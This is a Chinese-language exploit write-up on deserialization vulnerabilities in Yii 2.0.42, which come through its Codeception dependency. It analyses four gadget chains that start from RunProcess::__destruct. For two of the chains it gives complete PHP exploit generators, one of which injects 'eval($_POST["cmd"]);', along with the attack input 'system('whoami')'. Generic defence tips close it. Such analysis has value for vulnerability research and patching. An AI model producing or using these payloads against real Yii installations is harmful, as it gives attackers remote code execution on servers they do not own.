yii 2.0.42 最新反序列化利用全集
字数 1390 2025-08-05 08:19:32
Yii 2.0.42 反序列化漏洞利用全集分析
漏洞背景
Yii 2.0.42 版本中存在反序列化漏洞,但实际漏洞根源并非 Yii 框架本身,而是其依赖的 Codeception 组件。该漏洞通过多个利用链实现远程代码执行(RCE),本文将详细分析四条不同的利用链。
漏洞挖掘方法
- 全局搜索
__destruct魔术方法作为入口点 - 其他利用链存在
__wakeup方法会抛出异常导致无法利用 - 重点关注可控的对象属性和方法调用
第一条利用链
利用路径
- 入口点:
Codeception\Extension\RunProcess类的__destruct方法 - 遍历
$this->processes数组 - 调用
$process->stop()方法
关键点
$process可控,可以构造为Prophecy\Prophecy\ObjectProphecy对象ObjectProphecy的__call方法可利用:$this->lazyDouble可控$this->revealer可控
- 通过
call_user_func实现 RCE
EXP 构造
<?php
namespace Codeception\Extension{
use Prophecy\Prophecy\ObjectProphecy;
class RunProcess{
private $processes = [];
public function __construct(){
$a = new ObjectProphecy('1');
$this->processes[]=new ObjectProphecy($a);
}
}
echo urlencode(serialize(new RunProcess()));
}
namespace Prophecy\Prophecy{
use Prophecy\Doubler\LazyDouble;
class ObjectProphecy{
private $lazyDouble;
private $revealer;
public function __construct($a){
$this->revealer=$a;
$this->lazyDouble=new lazyDouble();
}
}
}
namespace Prophecy\Doubler{
use Prophecy\Doubler\Doubler;
class LazyDouble {
private $doubler;
private $class;
private $interfaces;
private $arguments;
private $double=null;
public function __construct(){
$this->doubler = new Doubler();
$this->arguments=array('jiang'=>'jiang');
$this->class=new \ReflectionClass('Exception');
$this->interfaces[]=new \ReflectionClass('Exception');
}
}
}
namespace Faker{
class DefaultGenerator {
protected $default;
public function __construct($default) {
$this->default = $default;
}
}
}
namespace Prophecy\Doubler\Generator\Node{
class ClassNode{}
}
namespace Prophecy\Doubler{
use Faker\DefaultGenerator;
use Prophecy\Doubler\Generator\ClassCreator;
use Prophecy\Doubler\Generator\Node\ClassNode;
class Doubler{
private $namer;
private $mirror;
private $patches;
private $creator;
public function __construct(){
$name='jiang';
$node=new ClassNode();
$this->namer=new DefaultGenerator($name);
$this->mirror=new DefaultGenerator($node);
$this->patches=array(new DefaultGenerator(false));
$this->creator=new ClassCreator();
}
}
}
namespace Prophecy\Doubler\Generator{
use Faker\DefaultGenerator;
class ClassCreator{
private $generator;
public function __construct(){
$this->generator=new DefaultGenerator('eval($_POST["cmd"]);');
}
}
}
利用说明
- 攻击时使用
cmd=system('whoami');phpinfo(); - 必须包含
phpinfo(),否则前面的输出会被报错掩盖
第二条利用链
利用路径
- 同样以
RunProcess的__destruct为入口 - 转向
reveal方法 - 通过
getInstance和double方法 - 最终利用
createDoubleClass方法
关键点
- 需要构造
ReflectionClass类的对象和对象数组 - 利用
__call方法控制$name和$node的值 - 绕过
foreach循环限制 - 利用
create方法执行代码
第三条利用链
利用路径
- 入口点仍然是
RunProcess的__destruct - 通过
__call方法触发__sleep - 利用
($this->value)()执行代码
EXP 构造
<?php
namespace Codeception\Extension{
use Faker\UniqueGenerator;
class RunProcess{
private $processes = [];
public function __construct(){
$this->processes[]=new UniqueGenerator();
}
}
echo urlencode(serialize(new RunProcess()));
}
namespace Faker{
use Symfony\Component\String\LazyString;
class UniqueGenerator {
protected $generator;
protected $maxRetries;
public function __construct() {
$a = new LazyString();
$this->generator = new DefaultGenerator($a);
$this->maxRetries = 2;
}
}
class DefaultGenerator {
protected $default;
public function __construct($default = null) {
$this->default = $default;
}
}
}
namespace Symfony\Component\String{
class LazyString{
private $value;
public function __construct(){
include("closure/autoload.php");
$a = function(){phpinfo();};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->value=$b;
}
}
}
关键点
- 使用
Opis\Closure序列化闭包 - 通过
LazyString触发代码执行
第四条利用链
利用路径
- 入口点不变
- 利用
stopProcess方法中的字符串连接操作 - 触发
__toString方法 - 通过
rewind和read方法链 - 最终实现代码执行
关键点
- 利用返回值可控的
__call方法 - 通过字符串连接符
.触发__toString - 多层方法跳转最终实现 RCE
总结
- 四条利用链均以
Codeception\Extension\RunProcess的__destruct方法为入口 - 利用链涉及多个组件的魔术方法和回调函数
- 实际漏洞根源是 Codeception 依赖而非 Yii 框架本身
- 攻击时需要注意错误处理和输出显示问题
防御建议
- 升级 Codeception 到安全版本
- 避免反序列化不可信数据
- 实施严格的输入验证和过滤
- 使用自定义反序列化处理器
参考
- PHP 序列化函数闭包详解
- 魔术方法的安全影响分析
- 反序列化漏洞防御最佳实践